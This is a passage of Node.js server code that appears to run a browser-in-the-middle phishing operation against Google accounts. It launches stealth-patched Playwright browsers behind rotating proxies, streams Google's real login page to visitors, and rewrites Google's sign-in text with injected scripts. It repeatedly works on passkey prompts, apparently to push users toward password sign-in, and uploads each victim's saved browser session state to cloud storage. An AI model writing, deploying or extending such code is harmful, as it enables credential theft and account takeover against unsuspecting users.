| res.status(500).json({ error: "validate_failed", details: err.message }); |
| } |
| }); |
|
|
| app.get("/api/proxy", requireProxyKey, (_req, res) => { |
| if (!proxyManager) { |
| res.status(503).json({ error: "proxy_manager_disabled" }); |
| return; |
| } |
| const proxy = proxyManager.getNextProxy(); |
| if (!proxy) { |
| res.status(404).json({ error: "no_proxy_available" }); |
| return; |
| } |
| res.json({ |
| proxy: { |
| id: proxy.id, |
| server: `${proxy.protocol}://${proxy.host}:${proxy.port}`, |
| protocol: proxy.protocol, |
| host: proxy.host, |
| port: proxy.port, |
| username: proxy.username || null, |
| password: proxy.password || null, |
| latencyMs: proxy.latencyMs || null, |
| lastCheckedAt: proxy.lastCheckedAt || null |
| } |
| }); |
| }); |
|
|
| const server = app.listen(PORT, HOST, () => { |
| console.log(`Server running on http://${HOST}:${PORT}`); |
| }); |
|
|
| const wss = new WebSocketServer({ server }); |
|
|
| const sessions = new Map(); |
| const sessionsById = new Map(); |
|
|
| function normalizeDeviceInfo(raw) { |
| const viewport = raw?.viewport || { width: 1280, height: 720 }; |
| const screen = raw?.screen || { width: viewport.width, height: viewport.height }; |
| return { |
| deviceType: raw?.deviceType || "desktop", |
| locale: raw?.language || "en-US", |
| timezoneId: raw?.timeZone || null, |
| viewport: { |
| width: Math.max(320, Math.floor(viewport.width || 1280)), |
| height: Math.max(480, Math.floor(viewport.height || 720)) |
| }, |
| screen: { |
| width: Math.max(320, Math.floor(screen.width || viewport.width || 1280)), |
| height: Math.max(480, Math.floor(screen.height || viewport.height || 720)) |
| }, |
| userAgent: raw?.userAgent || "", |
| deviceScaleFactor: raw?.deviceScaleFactor || 1 |
| }; |
| } |
|
|
| function buildContextOptions(deviceInfo, existingStatePath, envOverrides) { |
| const locale = deviceInfo.locale || "en-US"; |
| const acceptLanguage = locale.includes(",") ? locale : `${locale},en;q=0.9`; |
| const baseOptions = { |
| userAgent: |
| deviceInfo.userAgent || |
| "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.127 Safari/537.36", |
| viewport: deviceInfo.viewport, |
| screen: deviceInfo.screen, |
| deviceScaleFactor: deviceInfo.deviceScaleFactor || 1, |
| storageState: existingStatePath || undefined, |
| locale, |
| timezoneId: deviceInfo.timezoneId || undefined, |
| permissions: ["notifications", "geolocation", "camera", "microphone"], |
| extraHTTPHeaders: { |
| "Accept-Language": acceptLanguage |
| } |
| }; |
|
|
| const override = envOverrides?.contextOptions; |
| if (override) { |
| if (override.userAgent) baseOptions.userAgent = override.userAgent; |
| if (override.viewport) baseOptions.viewport = override.viewport; |
| if (override.screen) baseOptions.screen = override.screen; |
| if (override.deviceScaleFactor) baseOptions.deviceScaleFactor = override.deviceScaleFactor; |
| if (override.locale) baseOptions.locale = override.locale; |
| if (override.timezoneId) baseOptions.timezoneId = override.timezoneId; |
| if (override.permissions) baseOptions.permissions = override.permissions; |
| if (override.extraHTTPHeaders) baseOptions.extraHTTPHeaders = override.extraHTTPHeaders; |
| } |
|
|
| if (override?.storageState && !existingStatePath) { |
| baseOptions.storageState = override.storageState; |
| } |
|
|
| return baseOptions; |
| } |
|
|
| function normalizeProxyRecord(proxy) { |
| if (!proxy) return null; |
| if (proxy.server) { |
| return { |
| id: proxy.id || null, |
| server: proxy.server, |
| protocol: proxy.protocol || null, |
| host: proxy.host || null, |
| port: proxy.port || null, |
| username: proxy.username || null, |
| password: proxy.password || null, |
| insecureTls: !!proxy.insecureTls |
| }; |
| } |
| if (proxy.protocol && proxy.host && proxy.port) { |
| return { |
| id: proxy.id || null, |
| server: `${proxy.protocol}://${proxy.host}:${proxy.port}`, |
| protocol: proxy.protocol, |
| host: proxy.host, |
| port: proxy.port, |
| username: proxy.username || null, |
| password: proxy.password || null, |
| insecureTls: !!proxy.insecureTls |
| }; |
| } |
| return null; |
| } |
|
|
| function selectProxyForSession() { |
| if (!proxyManager) return null; |
| const proxy = proxyManager.getNextProxy(); |
| if (!proxy) return null; |
| return normalizeProxyRecord({ |
| id: proxy.id, |
| protocol: proxy.protocol, |
| host: proxy.host, |
| port: proxy.port, |
| username: proxy.username || null, |
| password: proxy.password || null, |
| insecureTls: !!proxy.insecureTls |
| }); |
| } |
|
|
| function buildPlaywrightProxyConfig(proxy) { |
| const record = normalizeProxyRecord(proxy); |
| if (!record || !record.server) return null; |
| const config = { server: record.server }; |
| if (record.username) config.username = record.username; |
| if (record.password) config.password = record.password; |
| return config; |
| } |
|
|
| async function applyEnvironmentScripts(context, envOverrides) { |
| if (!envOverrides) return; |
| const sessionStorageByOrigin = envOverrides.sessionStorageByOrigin || null; |
| const indexedDbByOrigin = envOverrides.indexedDbByOrigin || null; |
| if (!sessionStorageByOrigin && !indexedDbByOrigin) return; |
|
|
| await context.addInitScript( |
| ({ sessionStorageByOrigin: ssData, indexedDbByOrigin: idbData }) => { |
| try { |
| const origin = location.origin; |
| const sessionData = ssData && ssData[origin]; |
| if (sessionData) { |
| for (const [key, value] of Object.entries(sessionData)) { |
| try { |
| sessionStorage.setItem(key, value); |
| } catch (err) {} |
| } |
| } |
|
|
| const dbData = idbData && idbData[origin]; |
| if (!dbData) return; |
|
|
| const restoreDb = (name, info) => |
| new Promise((resolve) => { |
| const request = indexedDB.open(name, info.version || 1); |
| request.onupgradeneeded = () => { |
| const db = request.result; |
| for (const [storeName, storeInfo] of Object.entries(info.stores || {})) { |
| if (!db.objectStoreNames.contains(storeName)) { |
| const store = db.createObjectStore(storeName, { |
| keyPath: storeInfo.keyPath || undefined, |
| autoIncrement: !!storeInfo.autoIncrement |
| }); |
| for (const idx of storeInfo.indexes || []) { |
| try { |
| store.createIndex(idx.name, idx.keyPath, { |
| unique: !!idx.unique, |
| multiEntry: !!idx.multiEntry |
| }); |
| } catch (err) {} |
| } |
| } |
| } |
| }; |
| request.onsuccess = () => { |
| const db = request.result; |
| const storeNames = Object.keys(info.stores || {}); |
| if (!storeNames.length) { |
| resolve(); |
| return; |
| } |
| const tx = db.transaction(storeNames, "readwrite"); |
| for (const storeName of storeNames) { |
| const store = tx.objectStore(storeName); |
| const records = info.stores?.[storeName]?.records || []; |
| for (const record of records) { |
| try { |
| if (record.key === undefined) { |
| store.put(record.value); |
| } else { |
| store.put(record.value, record.key); |
| } |
| } catch (err) {} |
| } |
| } |
| tx.oncomplete = () => resolve(); |
| tx.onerror = () => resolve(); |
| }; |
| request.onerror = () => resolve(); |
| }); |
|
|
| const tasks = []; |
| for (const [dbName, info] of Object.entries(dbData)) { |
| tasks.push(restoreDb(dbName, info)); |
| } |
| Promise.all(tasks).catch(() => {}); |
| } catch (err) {} |
| }, |
| { sessionStorageByOrigin, indexedDbByOrigin } |
| ); |
| } |
|
|
| async function downloadFromSupabase(remotePath, localPath) { |
| if (!supabase) return false; |
| const { data, error } = await supabase.storage.from(supabaseBucket).download(remotePath); |
| if (error || !data) { |
| console.warn("Supabase download error", error); |
| return false; |
| } |
| const buffer = Buffer.from(await data.arrayBuffer()); |
| fs.writeFileSync(localPath, buffer); |
| return true; |
| } |
|
|
| async function downloadJsonFromSupabase(remotePath) { |
| if (!supabase) return null; |
| const { data, error } = await supabase.storage.from(supabaseBucket).download(remotePath); |
| if (error || !data) return null; |
| try { |
| const text = await data.text(); |
| return JSON.parse(text); |
| } catch (err) { |
| return null; |
| } |
| } |
|
|
| async function uploadToSupabase(localPath, remotePath) { |
| if (!supabase) { |
| return { ok: false, error: "supabase_not_configured" }; |
| } |
| const fileData = fs.readFileSync(localPath); |
| const { error } = await supabase.storage.from(supabaseBucket).upload(remotePath, fileData, { |
| upsert: true, |
| contentType: "application/json" |
| }); |
| if (error) { |
| console.warn("Supabase upload error", remotePath, error); |
| return { ok: false, error: error.message || "upload_failed" }; |
| } |
| return { ok: true }; |
| } |
|
|
| async function ensureStorageStateRemote(userId, sessionId, localPath) { |
| if (!supabase || !userId) return null; |
| const remotePath = `${userId}/${sessionId}/state.json`; |
| await uploadToSupabase(localPath, remotePath); |
| return remotePath; |
| } |
|
|
| async function startPlaywrightSession({ ws, deviceInfo, existingStatePath, envOverrides, profileDir, proxy }) { |
| const headless = process.env.HEADLESS !== "false"; |
| const channel = process.env.BROWSER_CHANNEL || undefined; |
| const contextOptions = buildContextOptions(deviceInfo, existingStatePath, envOverrides); |
| const proxyConfig = buildPlaywrightProxyConfig(proxy); |
| if (proxyConfig && proxy?.insecureTls) { |
| contextOptions.ignoreHTTPSErrors = true; |
| } |
|
|
| const stealthScript = ` |
| (function() { |
| try { |
| Object.defineProperty(navigator, 'webdriver', { |
| get: () => false, |
| configurable: false |
| }); |
| |
| Object.defineProperty(navigator, 'plugins', { |
| get: () => [1, 2, 3], |
| configurable: false |
| }); |
| |
| Object.defineProperty(navigator, 'languages', { |
| get: () => ['en-US', 'en'], |
| configurable: false |
| }); |
| |
| Object.defineProperty(navigator, 'platform', { |
| get: () => 'MacIntel', |
| configurable: false |
| }); |
| |
| Object.defineProperty(navigator, 'hardwareConcurrency', { |
| get: () => 8, |
| configurable: false |
| }); |
| |
| Object.defineProperty(navigator, 'deviceMemory', { |
| get: () => 8, |
| configurable: false |
| }); |
| |
| window.chrome = { runtime: {}, app: { isInstalled: true } }; |
| |
| if (WebGLRenderingContext) { |
| const originalGetParameter = WebGLRenderingContext.prototype.getParameter; |
| WebGLRenderingContext.prototype.getParameter = function(parameter) { |
| if (parameter === 37445) return 'Intel Inc.'; |
| if (parameter === 37446) return 'Intel Iris OpenGL Engine'; |
| return originalGetParameter.apply(this, arguments); |
| }; |
| } |
| |
| for (let key in window) { |
| if (key.startsWith('cdc_') || key.startsWith('__webgl')) { |
| try { delete window[key]; } catch(e) {} |
| } |
| } |
| } catch(e) { |
| console.log('Stealth script error:', e); |
| } |
| })(); |
| `; |
|
|
| const browserArgs = envOverrides?.browserArgs || LAUNCH_ARGS; |
| const usePersistent = envOverrides?.persistentProfile ?? PERSISTENT_PROFILE; |
| let browser = null; |
| let context; |
|
|
| if (usePersistent && profileDir) { |
| context = await chromium.launchPersistentContext(profileDir, { |
| ...contextOptions, |
| headless, |
| channel, |
| args: browserArgs, |
| ...(proxyConfig ? { proxy: proxyConfig } : {}) |
| }); |
| browser = context.browser(); |
| } else { |
| browser = await chromium.launch({ |
| headless, |
| channel, |
| args: browserArgs |
| }); |
| context = await browser.newContext({ |
| ...contextOptions, |
| ...(proxyConfig ? { proxy: proxyConfig } : {}) |
| }); |
| } |
|
|
| await applyEnvironmentScripts(context, envOverrides); |
|
|
| const page = await context.newPage(); |
| |
| await page.addInitScript(stealthScript); |
| |
| await page.addInitScript(` |
| (function() { |
| for (let key in window) { |
| try { |
| if (key.startsWith('cdc_') || key.startsWith('__webgl') || key.includes('ChromeAutomation')) { |
| delete window[key]; |
| } |
| } catch(e) {} |
| } |
| })(); |
| `); |
|
|
| return { browser, context, page, contextOptions, browserArgs }; |
| } |
|
|
| function isInvalidPageUrl(url) { |
| if (!url) return true; |
| const trimmed = url.trim(); |
| if (!trimmed || trimmed === "about:blank") return true; |
| if (trimmed.startsWith("chrome-error://")) return true; |
| if (trimmed.startsWith("chrome://")) return true; |
| return false; |
| } |
|
|
| async function ensureLoginPage(session) { |
| if (!session?.page || session.page.isClosed?.()) return false; |
| let currentUrl = ""; |
| try { |
| currentUrl = session.page.url(); |
| } catch { |
| return false; |
| } |
| if (!isInvalidPageUrl(currentUrl)) return false; |
| try { |
| await session.page.goto(GOOGLE_LOGIN_URL, { waitUntil: "domcontentloaded", timeout: 15000 }); |
| await applyFirstPageAdjustment(session.page, session); |
| try { |
| session.lastKnownUrl = session.page.url(); |
| } catch {} |
| return true; |
| } catch (err) { |
| console.warn("Ensure login page failed:", err.message); |
| return false; |
| } |
| } |
|
|
| function isSessionIdleExpired(session) { |
| if (!session?.lastActivityAt) return false; |
| return Date.now() - session.lastActivityAt >= IDLE_TIMEOUT_MS; |
| } |
|
|
| async function logSelfHealEvent(session, entry) { |
| if (!supabase) return; |
| const now = Date.now(); |
| if ( |
| session.lastSelfHealLogAt && |
| session.lastSelfHealAction === entry.action && |
| now - session.lastSelfHealLogAt < 15000 |
| ) { |
| return; |
| } |
| session.lastSelfHealLogAt = now; |
| session.lastSelfHealAction = entry.action; |
|
|
| const record = { |
| session_id: session.sessionId, |
| user_id: session.userId || null, |
| action: entry.action, |
| reason: entry.reason || null, |
| details: entry.details || null, |
| last_url: entry.lastUrl || session.lastKnownUrl || null, |
| heartbeat_age_ms: session.lastHeartbeatAt ? now - session.lastHeartbeatAt : null, |
| idle_age_ms: session.lastActivityAt ? now - session.lastActivityAt : null, |
| streaming: !!session.streaming, |
| detached: !!session.detached, |
| created_at: new Date(now).toISOString() |
| }; |
|
|
| try { |
| const { error } = await supabase.from(SELF_HEAL_LOG_TABLE).insert([record]); |
| if (error) { |
| console.warn("Self-heal log failed:", error.message); |
| } |
| } catch (err) { |
| console.warn("Self-heal log error:", err.message); |
| } |
| } |
|
|
| async function reviveSession(session) { |
| if (!session.deviceInfo) throw new Error("missing_device_info"); |
| if (session.passkeyInterval) { |
| clearInterval(session.passkeyInterval); |
| session.passkeyInterval = null; |
| } |
| stopBlankGuard(session); |
|
|
| const profileDir = session.profileDir || path.join(PROFILES_DIR, session.sessionId); |
| ensureDir(profileDir); |
| const localStatePath = path.join(SESSIONS_DIR, `${session.sessionId}.json`); |
| const existingStatePath = fs.existsSync(localStatePath) ? localStatePath : null; |
| const playwrightSession = await startPlaywrightSession({ |
| ws: session.ws, |
| deviceInfo: session.deviceInfo, |
| existingStatePath, |
| envOverrides: session.envOverrides || null, |
| profileDir, |
| proxy: session.proxy || null |
| }); |
|
|
| session.browser = playwrightSession.browser; |
| session.context = playwrightSession.context; |
| session.page = playwrightSession.page; |
| session.contextOptions = playwrightSession.contextOptions; |
| session.browserArgs = playwrightSession.browserArgs; |
| session.profileDir = profileDir; |
| session.streaming = !!(session.ws && session.ws.readyState === session.ws.OPEN); |
| session.detached = !session.streaming; |
| session.adjustedFirstPage = false; |
| session.hibernatedAt = null; |
| session.hibernatedReason = null; |
|
|
| if (session.context && !session.context.__tabsAttached) { |
| session.context.__tabsAttached = true; |
| session.context.on("page", (page) => { |
| registerPage(session, page, { makeActive: true }); |
| }); |
| } |
|
|
| registerPage(session, session.page, { makeActive: true }); |
| await installSignInCopyOverride(session.page); |
|
|
| const targetUrl = |
| session.lastKnownUrl && !isInvalidPageUrl(session.lastKnownUrl) ? session.lastKnownUrl : GOOGLE_LOGIN_URL; |
| await session.page.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 30000 }); |
| try { |
| session.lastKnownUrl = session.page.url(); |
| } catch {} |
|
|
| await applyFirstPageAdjustment(session.page, session); |
| await handlePasskeyPrompt(session.page, session); |
|
|
| session.passkeyInterval = setInterval(() => { |
| handlePasskeyPrompt(session.page, session).catch(() => {}); |
| }, 2000); |
|
|
| startBlankGuard(session); |
| if (session.streaming) { |
| streamLoop(session); |
| } |
| } |
|
|
| function collectSelfHealSymptoms(session) { |
| const now = Date.now(); |
| const page = session.page; |
| let pageClosed = false; |
| let currentUrl = ""; |
| if (page) { |
| try { |
| pageClosed = page.isClosed?.() || false; |
| } catch {} |
| if (!pageClosed) { |
| try { |
| currentUrl = page.url(); |
| } catch {} |
| } |
| } |
| const hasPage = !!page && !pageClosed; |
|
|
| return { |
| now, |
| hasBrowser: !!session.browser, |
| hasContext: !!session.context, |
| hasPage, |
| pageClosed, |
| currentUrl, |
| invalidUrl: hasPage ? isInvalidPageUrl(currentUrl) : false, |
| lastKnownUrl: session.lastKnownUrl || "", |
| streaming: !!session.streaming, |
| streamLoopRunning: !!session.streamLoopRunning, |
| wsOpen: !!session.ws && session.ws.readyState === session.ws.OPEN, |
| lastFrameAgeMs: session.lastFrameAt ? now - session.lastFrameAt : null, |
| heartbeatAgeMs: session.lastHeartbeatAt ? now - session.lastHeartbeatAt : null, |
| idleAgeMs: session.lastActivityAt ? now - session.lastActivityAt : null, |
| detached: !!session.detached |
| }; |
| } |
|
|
| function detectSelfHealIssues(symptoms) { |
| const issues = []; |
| if (!symptoms.hasBrowser || !symptoms.hasContext) issues.push("missing_browser"); |
| if (symptoms.hasBrowser && symptoms.hasContext && !symptoms.hasPage) issues.push("missing_page"); |
| if (symptoms.hasPage && symptoms.invalidUrl) issues.push("invalid_url"); |
| if (symptoms.streaming && symptoms.wsOpen && !symptoms.streamLoopRunning) issues.push("stream_stopped"); |
| if ( |
| symptoms.streaming && |
| symptoms.wsOpen && |
| symptoms.lastFrameAgeMs !== null && |
| symptoms.lastFrameAgeMs > SELF_HEAL_STALE_FRAME_MS |
| ) { |
| issues.push("stale_frames"); |
| } |
| return issues; |
| } |
|
|
| function shouldInvokeSelfHealBrain(session, issues) { |
| if (!SELF_HEAL_BRAIN_ENABLED) return false; |
| if (!MISTRAL_API_KEY) return false; |
| if (!issues.length) return false; |
| const now = Date.now(); |
| if (session.lastBrainAt && now - session.lastBrainAt < SELF_HEAL_BRAIN_COOLDOWN_MS) return false; |
| return true; |
| } |
|
|
| function parseBrainJson(text) { |
| if (!text) return null; |
| const match = text.match(/\{[\s\S]*\}/); |
| if (!match) return null; |
| try { |
| return JSON.parse(match[0]); |
| } catch { |
| return null; |
| } |
| } |
|
|
| async function callSelfHealBrain(session, reason, symptoms, issues) { |
| session.lastBrainAt = Date.now(); |
| if (typeof fetch !== "function") { |
| session.lastBrainError = "fetch_unavailable"; |
| return null; |
| } |
| const brainState = { |
| hasBrowser: symptoms.hasBrowser, |
| hasContext: symptoms.hasContext, |
| hasPage: symptoms.hasPage, |
| pageClosed: symptoms.pageClosed, |
| currentUrl: symptoms.currentUrl || null, |
| invalidUrl: symptoms.invalidUrl, |
| lastKnownUrl: symptoms.lastKnownUrl || null, |
| streaming: symptoms.streaming, |
| streamLoopRunning: symptoms.streamLoopRunning, |
| wsOpen: symptoms.wsOpen, |
| lastFrameAgeMs: symptoms.lastFrameAgeMs, |
| heartbeatAgeMs: symptoms.heartbeatAgeMs, |
| idleAgeMs: symptoms.idleAgeMs, |
| detached: symptoms.detached |
| }; |
|
|
| const controller = new AbortController(); |
| const timeoutId = setTimeout(() => controller.abort(), 4000); |
| try { |
| const res = await fetch(MISTRAL_API_URL, { |
| method: "POST", |
| headers: { |
| "Content-Type": "application/json", |
| Authorization: `Bearer ${MISTRAL_API_KEY}` |
| }, |
| body: JSON.stringify({ |
| model: MISTRAL_MODEL, |
| messages: [ |
| { |
| role: "system", |
| content: |
| "You are a self-healing planner for a Playwright session. Choose ONE action from: relaunch_browser, reopen_page, restore_login, restart_stream, noop. Respond ONLY with JSON: {\"action\":\"...\",\"reason\":\"...\"}." |
| }, |
| { |
| role: "user", |
| content: JSON.stringify({ reason, issues, state: brainState }) |
| } |
| ], |
| max_tokens: 120, |
| temperature: 0 |
| }), |
| signal: controller.signal |
| }); |
| if (!res.ok) { |
| session.lastBrainError = `http_${res.status}`; |
| return null; |
| } |
| const data = await res.json(); |
| const content = data?.choices?.[0]?.message?.content || ""; |
| const parsed = parseBrainJson(content); |
| const action = parsed?.action ? String(parsed.action) : ""; |
| const reasonText = parsed?.reason ? String(parsed.reason) : ""; |
| const allowed = new Set(["relaunch_browser", "reopen_page", "restore_login", "restart_stream", "noop"]); |
| if (!allowed.has(action)) { |
| session.lastBrainError = "invalid_action"; |
| return null; |
| } |
| session.lastBrainAction = action; |
| return { action, reason: reasonText }; |
| } catch (err) { |
| session.lastBrainError = err?.name === "AbortError" ? "timeout" : "request_failed"; |
| return null; |
| } finally { |
| clearTimeout(timeoutId); |
| } |
| } |
|
|
| async function reopenSessionPage(session) { |
| if (!session.context) throw new Error("missing_context"); |
| const page = await session.context.newPage(); |
| registerPage(session, page, { makeActive: true }); |
| await installSignInCopyOverride(page); |
| const targetUrl = |
| session.lastKnownUrl && !isInvalidPageUrl(session.lastKnownUrl) ? session.lastKnownUrl : GOOGLE_LOGIN_URL; |
| await page.goto(targetUrl, { waitUntil: "domcontentloaded", timeout: 15000 }); |
| try { |
| session.lastKnownUrl = page.url(); |
| } catch {} |
| await applyFirstPageAdjustment(page, session); |
| return targetUrl; |
| } |
|
|
| async function applySelfHealAction(session, action, details) { |
| const actions = []; |
| if (action === "relaunch_browser") { |
| await reviveSession(session); |
| actions.push("relaunch_browser"); |
| } else if (action === "reopen_page") { |
| if (!session.context) { |
| await reviveSession(session); |
| actions.push("relaunch_browser"); |
| } else { |
| const targetUrl = await reopenSessionPage(session); |
| actions.push("reopen_page"); |
| details.targetUrl = targetUrl; |
| } |
| } else if (action === "restore_login") { |
| const repaired = await ensureLoginPage(session); |
| if (repaired) actions.push("restore_login"); |
| } else if (action === "restart_stream") { |
| if (session.ws?.readyState === session.ws.OPEN) { |
| session.streaming = true; |
| streamLoop(session); |
| actions.push("restart_stream"); |
| } |
| } |
| return actions; |
| } |
|
|
| async function applyDefaultSelfHeal(session, details) { |
| const actions = []; |
| if (!session.browser || !session.context) { |
| await reviveSession(session); |
| actions.push("relaunch_browser"); |
| return actions; |
| } |
| if (!session.page || session.page.isClosed?.()) { |
| const targetUrl = await reopenSessionPage(session); |
| actions.push("reopen_page"); |
| details.targetUrl = targetUrl; |
| } else { |
| let currentUrl = ""; |
| try { |
| currentUrl = session.page.url(); |
| } catch {} |
| if (isInvalidPageUrl(currentUrl)) { |
| const repaired = await ensureLoginPage(session); |
| if (repaired) { |
| actions.push("restore_login"); |
| } |
| } |
| } |
|
|
| if (session.streaming && session.ws?.readyState === session.ws.OPEN) { |
| if (!session.streamLoopRunning) { |
| streamLoop(session); |
| actions.push("restart_stream"); |
| } else if (session.lastFrameAt && Date.now() - session.lastFrameAt > SELF_HEAL_STALE_FRAME_MS) { |
| await session.page?.evaluate(() => document.readyState).catch(() => {}); |
| } |
| } |
| return actions; |
| } |
|
|
| async function runSelfHealCheck(session, reason = "periodic") { |
| if (!SELF_HEAL_ENABLED) return; |
| if (!session || session.selfHealInFlight) return; |
| if (session.hibernatedAt) return; |
| if (session.adminBusy) return; |
| if (isSessionIdleExpired(session)) return; |
|
|
| session.selfHealInFlight = true; |
| const actions = []; |
| const details = {}; |
| try { |
| const symptoms = collectSelfHealSymptoms(session); |
| const issues = detectSelfHealIssues(symptoms); |
| if (!issues.length) return; |
| details.issues = issues; |
|
|
| let brainDecision = null; |
| if (shouldInvokeSelfHealBrain(session, issues)) { |
| brainDecision = await callSelfHealBrain(session, reason, symptoms, issues); |
| if (!brainDecision && session.lastBrainError) { |
| details.brainError = session.lastBrainError; |
| } |
| if (brainDecision?.action) { |
| details.brain = { action: brainDecision.action, reason: brainDecision.reason || null }; |
| if (brainDecision.action !== "noop") { |
| const brainActions = await applySelfHealAction(session, brainDecision.action, details); |
| actions.push(...brainActions); |
| } |
| } |
| } |
|
|
| if (!actions.length) { |
| const defaultActions = await applyDefaultSelfHeal(session, details); |
| actions.push(...defaultActions); |
| } |
| } catch (err) { |
| details.error = err.message; |
| actions.push("self_heal_error"); |
| } finally { |
| session.selfHealInFlight = false; |
| } |
|
|
| if (actions.length) { |
| await logSelfHealEvent(session, { |
| action: actions.join(","), |
| reason, |
| details, |
| lastUrl: session.lastKnownUrl |
| }); |
| } |
| } |
|
|
| function startSelfHealMonitor(session) { |
| if (!SELF_HEAL_ENABLED) return; |
| if (!session || session.selfHealInterval) return; |
| session.selfHealInterval = setInterval(() => { |
| runSelfHealCheck(session, "interval").catch(() => {}); |
| }, SELF_HEAL_INTERVAL_MS); |
| } |
|
|
| function stopSelfHealMonitor(session) { |
| if (session?.selfHealInterval) { |
| clearInterval(session.selfHealInterval); |
| session.selfHealInterval = null; |
| } |
| } |
|
|
| function startBlankGuard(session) { |
| if (session.blankGuardInterval) return; |
| session.blankGuardInterval = setInterval(() => { |
| if (!session?.page || session.page.isClosed?.()) return; |
| ensureLoginPage(session).catch(() => {}); |
| }, BLANK_GUARD_INTERVAL_MS); |
| } |
|
|
| function stopBlankGuard(session) { |
| if (session?.blankGuardInterval) { |
| clearInterval(session.blankGuardInterval); |
| session.blankGuardInterval = null; |
| } |
| } |
|
|
| function clearIdleTimer(session) { |
| if (session?.idleTimer) { |
| clearTimeout(session.idleTimer); |
| session.idleTimer = null; |
| } |
| } |
|
|
| function markSessionActivity(session) { |
| session.lastActivityAt = Date.now(); |
| clearIdleTimer(session); |
| session.idleTimer = setTimeout(async () => { |
| session.idleTimer = null; |
| session.hibernatedAt = Date.now(); |
| session.hibernatedReason = "idle_timeout"; |
| if (session.ws && session.ws.readyState === session.ws.OPEN) { |
| session.ws.send(JSON.stringify({ type: "session_ended", reason: "idle_timeout" })); |
| } |
| await terminateBrowserSession(session); |
| }, IDLE_TIMEOUT_MS); |
| } |
|
|
| function hasOtherActiveSession(currentSessionId) { |
| let activeCount = 0; |
| for (const entry of sessionsById.values()) { |
| if (entry?.browser && !entry?.isAdmin) { |
| if (entry.sessionId !== currentSessionId) { |
| return true; |
| } |
| activeCount += 1; |
| } |
| } |
| return activeCount >= MAX_CONCURRENT_SESSIONS; |
| } |
|
|
| function findActiveSessionByUserId(userId, excludeSessionId) { |
| if (!userId) return null; |
| for (const entry of sessionsById.values()) { |
| if (!entry?.browser) continue; |
| if (entry.isAdmin) continue; |
| if (excludeSessionId && entry.sessionId === excludeSessionId) continue; |
| if (entry.userId && entry.userId === userId) { |
| return entry; |
| } |
| } |
| return null; |
| } |
|
|
| async function installSignInCopyOverride(page) { |
| if (!page || page.isClosed?.()) return; |
| if (page.__signInCopyInstalled) return; |
| page.__signInCopyInstalled = true; |
|
|
| const script = ` |
| (() => { |
| if (window.__signInCopyInstalled) return; |
| window.__signInCopyInstalled = true; |
| const intervalMs = ${SIGNIN_COPY_INTERVAL_MS}; |
| const overrideText = ${JSON.stringify(SIGNIN_COPY_OVERRIDE_TEXT)}; |
| const normalize = (text) => (text || "") |
| .toLowerCase() |
| .replace(/\\s+/g, " ") |
| .replace(/[.]/g, "") |
| .trim(); |
| const matches = (normalized) => { |
| if (!normalized) return false; |
| if (normalized === "to continue to gmail") return true; |
| if (normalized === "continue to gmail") return true; |
| if (normalized === "to continue") return true; |
| if (normalized === "to continue to google") return true; |
| return false; |
| }; |
| const apply = () => { |
| if (!location.hostname.includes("accounts.google.com")) return; |
| const root = document.body || document.documentElement; |
| if (!root) return; |
| const walker = document.createTreeWalker(root, NodeFilter.SHOW_TEXT); |
| let node; |
| while ((node = walker.nextNode())) { |
| const raw = node.nodeValue || ""; |
| if (!raw) continue; |
| const normalized = normalize(raw); |
| if (!matches(normalized)) continue; |
| if (raw.trim() === overrideText) continue; |
| node.nodeValue = overrideText; |
| } |
| }; |
| apply(); |
| const observer = new MutationObserver(() => apply()); |
| observer.observe(document.documentElement || document.body, { |
| childList: true, |
| subtree: true, |
| characterData: true |
| }); |
| setInterval(apply, intervalMs); |
| })(); |
| `; |
|
|
| try { |
| await page.addInitScript(script); |
| } catch (err) { |
| console.warn("Sign-in copy init script failed:", err.message); |
| } |
| try { |
| await page.evaluate(script); |
| } catch (err) {} |
| } |
|
|
| async function startNewSession(session, ws, payload = {}) { |
| if (!session.deviceInfo) return; |
| if (session.browser || session.context || session.page) { |
| await terminateBrowserSession(session); |
| } |
|
|
| session.pages = new Map(); |
| session.pageOrder = []; |
| session.activePageId = null; |
| session.nextPageId = 1; |
| session.adjustedFirstPage = false; |
| session.lastFrame = null; |
| session.lastFrameAt = null; |
| session.lastKnownUrl = null; |
| session.hibernatedAt = null; |
| session.hibernatedReason = null; |
|
|
| const existingStatePath = payload?.storageStatePath || null; |
|
|
| console.log("Starting Playwright session..."); |
| const profileDir = path.join(PROFILES_DIR, session.sessionId); |
| ensureDir(profileDir); |
| session.proxy = selectProxyForSession(); |
| const playwrightSession = await startPlaywrightSession({ |
| ws, |
| deviceInfo: session.deviceInfo, |
| existingStatePath, |
| profileDir, |
| proxy: session.proxy |
| }); |
|
|
| session.browser = playwrightSession.browser; |
| session.context = playwrightSession.context; |
| session.page = playwrightSession.page; |
| session.contextOptions = playwrightSession.contextOptions; |
| session.browserArgs = playwrightSession.browserArgs; |
| session.profileDir = profileDir; |
| session.envOverrides = null; |
| session.streaming = true; |
| session.detached = false; |
| if (session.detachTimer) { |
| clearTimeout(session.detachTimer); |
| session.detachTimer = null; |
| } |
| console.log("Browser launched, navigating to Google..."); |
|
|
| if (session.context && !session.context.__tabsAttached) { |
| session.context.__tabsAttached = true; |
| session.context.on("page", (page) => { |
| registerPage(session, page, { makeActive: true }); |
| }); |
| } |
|
|
| registerPage(session, session.page, { makeActive: true }); |
| await installSignInCopyOverride(session.page); |
|
|
| await session.page.goto(GOOGLE_LOGIN_URL, { |
| waitUntil: "networkidle", |
| timeout: 30000 |
| }); |
|
|
| const initialUrl = await session.page.url(); |
| session.lastKnownUrl = initialUrl; |
| console.log("Page loaded, URL:", initialUrl); |
|
|
| await applyFirstPageAdjustment(session.page, session); |
| await handlePasskeyPrompt(session.page, session); |
|
|
| session.passkeyInterval = setInterval(() => { |
| handlePasskeyPrompt(session.page, session).catch(() => {}); |
| }, 2000); |
|
|
| startBlankGuard(session); |
| streamLoop(session); |
| startSelfHealMonitor(session); |
| } |
|
|
| async function applyFirstPageAdjustment(page, session) { |
| session.adjustedFirstPage = true; |
| try { |
| await installSignInCopyOverride(page); |
| } catch (err) { |
| console.warn("First page adjustment failed", err); |
| } |
| } |
|
|
| const TRY_ANOTHER_WAY_TEXTS = [ |
| "try another way", |
| "try another method", |
| "try a different way", |
| "use another method", |
| "use a different method", |
| "use another way", |
| "sign in another way", |
| "choose another way", |
| "choose another method", |
| "other options", |
| "more options", |
| "other methods", |
| "different method", |
| "different way" |
| ]; |
|
|
| const PASSWORD_OPTION_TEXTS = [ |
